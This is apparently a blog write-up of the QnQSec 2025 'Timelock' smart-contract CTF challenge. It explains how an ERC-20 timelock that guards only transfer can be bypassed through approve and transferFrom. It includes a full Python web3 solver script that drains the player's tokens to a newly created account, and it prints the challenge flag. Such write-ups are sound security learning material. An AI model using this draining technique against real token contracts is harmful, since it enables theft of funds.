Back to all posts
Cyber Security
•
... views
•3 min read
By Rosemary

Timelock (Blockchain) - QnQSec 2025

This writeup explains how the Timelock contract in QnQSec 2025 could be bypassed by abusing ERC-20 allowances. While the timelock blocked direct transfers from the player, it didn’t restrict transferFrom, allowing an attacker to drain the player’s tokens through an approved spender.

Timelock Writeup - QnQSec 2025

Summary:

Vulnerability: Timelock only blocks transfer for the player via a modifier, but not transferFrom. Technique: Have the PLAYER approve an attacker for the full balance, then call transferFrom to drain the tokens; call solve() once PLAYER balance is zero. Result: Drain tokens before the timelock expires and complete the challenge.


Quick Recon

Files: Timelock.sol (inherits ERC20) and Challenge.sol (checks CONTRACT.balanceOf(PLAYER) == 0 inside solve()).

CTF workflow: You get environment info such as:

RPC_URL=http://...
PLAYER_PK=0x...
CHALLENGE_ADDR=0x...

Relevant functions:

  • Timelock.transfer(address,uint256) — overridden and protected by lockTokens modifier checking block.timestamp > timeLock when msg.sender == player
  • approve(address,uint256) and transferFrom(address,address,uint256) — standard ERC-20, not overridden
  • Challenge.solve() — requires CONTRACT.balanceOf(PLAYER) == 0

Endpoints / info example:

download Timelock.sol
nc <ctf-host> <port>

Exploit

Use the following solver script.

.env (example)

RPC_URL=http://instance/main
PLAYER_PK=0x<player_private_key>
CHALLENGE_ADDR=0x<challenge_contract_address>

exploit_naughtcoin.py

import os, time
from decimal import Decimal
from dotenv import load_dotenv
from web3 import Web3
from eth_account import Account


load_dotenv()
RPC = os.getenv("RPC_URL")
PLAYER_PK = os.getenv("PLAYER_PK")
CHALLENGE = os.getenv("CHALLENGE_ADDR")


if not all([RPC, PLAYER_PK, CHALLENGE]):
   raise SystemExit("Set RPC_URL, PLAYER_PK, CHALLENGE_ADDR in .env")


w3 = Web3(Web3.HTTPProvider(RPC, request_kwargs={"timeout":30}))
if not w3.is_connected():
   raise SystemExit("Cannot connect to RPC")


player = Account.from_key(PLAYER_PK)


# Minimal ABIs
challenge_abi = [
 {"inputs":[],"name":"CONTRACT","outputs":[{"type":"address","name":""}],"stateMutability":"view","type":"function"},
 {"inputs":[],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
erc20_abi = [
 {"name":"approve","type":"function","inputs":[{"name":"spender","type":"address"},{"name":"amount","type":"uint256"}],"outputs":[{"type":"bool","name":""}],"stateMutability":"nonpayable"},
 {"name":"transferFrom","type":"function","inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"outputs":[{"type":"bool","name":""}],"stateMutability":"nonpayable"},
 {"name":"balanceOf","type":"function","inputs":[{"name":"owner","type":"address"}],"outputs":[{"type":"uint256","name":""}],"stateMutability":"view"},
 {"name":"decimals","type":"function","inputs":[],"outputs":[{"type":"uint8","name":""}],"stateMutability":"view"}
]


def to_ck(a):
   return Web3.to_checksum_address(a) if hasattr(Web3, "to_checksum_address") else Web3.toChecksumAddress(a)


def sign_send(tx, signer):
   signed = signer.sign_transaction(tx) if hasattr(signer, "sign_transaction") else Account.sign_transaction(tx, signer)
   raw = getattr(signed, "rawTransaction", None) or getattr(signed, "raw_transaction", None)
   txh = w3.eth.send_raw_transaction(raw)
   r = w3.eth.wait_for_transaction_receipt(txh, timeout=120)
   return r


challenge = w3.eth.contract(to_ck(CHALLENGE), abi=challenge_abi)
token_addr = to_ck(challenge.functions.CONTRACT().call())
token = w3.eth.contract(token_addr, abi=erc20_abi)


decimals = token.functions.decimals().call()
bal = token.functions.balanceOf(player.address).call()
print("PLAYER:", player.address)
print("Token balance:", Decimal(bal) / (10**decimals))


chain = w3.eth.chain_id
gasp = w3.eth.gas_price


# create attacker and fund it from PLAYER
att = Account.create()
print("ATTACKER:", att.address)
fund = w3.to_wei(0.05, "ether")
nonce = w3.eth.get_transaction_count(player.address)
tx = {"to": att.address, "value": fund, "gas":21000, "gasPrice":gasp, "nonce":nonce, "chainId":chain}
r = sign_send(tx, PLAYER_PK); print("fund tx:", r.transactionHash.hex())
time.sleep(1)


# PLAYER approves attacker
nonce = w3.eth.get_transaction_count(player.address)
builder = "build_transaction" if hasattr(token.functions.approve(att.address, bal), "build_transaction") else "buildTransaction"
txa = getattr(token.functions.approve(att.address, bal), builder)({
   "chainId": chain, "from": player.address, "nonce": nonce, "gas":100000, "gasPrice":gasp
})
r = sign_send(txa, PLAYER_PK); print("approve tx:", r.transactionHash.hex()); time.sleep(1)


# ATTACKER does transferFrom to drain
nonce_att = w3.eth.get_transaction_count(att.address)
builder_tf = "build_transaction" if hasattr(token.functions.transferFrom(player.address, att.address, bal), "build_transaction") else "buildTransaction"
tx_tf = getattr(token.functions.transferFrom(player.address, att.address, bal), builder_tf)({
   "chainId": chain, "from": att.address, "nonce": nonce_att, "gas":200000, "gasPrice":gasp
})
r = sign_send(tx_tf, att); print("transferFrom tx:", r.transactionHash.hex()); time.sleep(1)


print("Player token balance after:", token.functions.balanceOf(player.address).call())


# call solve()
builder_s = "build_transaction" if hasattr(challenge.functions.solve(), "build_transaction") else "buildTransaction"
txs = getattr(challenge.functions.solve(), builder_s)({
   "chainId": chain, "from": att.address, "nonce": w3.eth.get_transaction_count(att.address), "gas":100000, "gasPrice":gasp
})
r = sign_send(txs, att); print("solve tx:", r.transactionHash.hex())
print("Done. If isSolved, go back to nc and choose option 3 to get the flag.")

Run

python exploit_naughtcoin.py

What it does (one line): PLAYER approves attacker for full token balance → attacker drains via transferFrom → attacker calls solve().

After running the script, return to the nc session and choose option 3 to retrieve the flag if isSolved() is true.


FLAG

QnQSec{gr3at_j0b_y0u_l3arn7_4b0u7_3rc20_t0k3n5}

Share this post

If you found this helpful, consider sharing it with your network!

Related Posts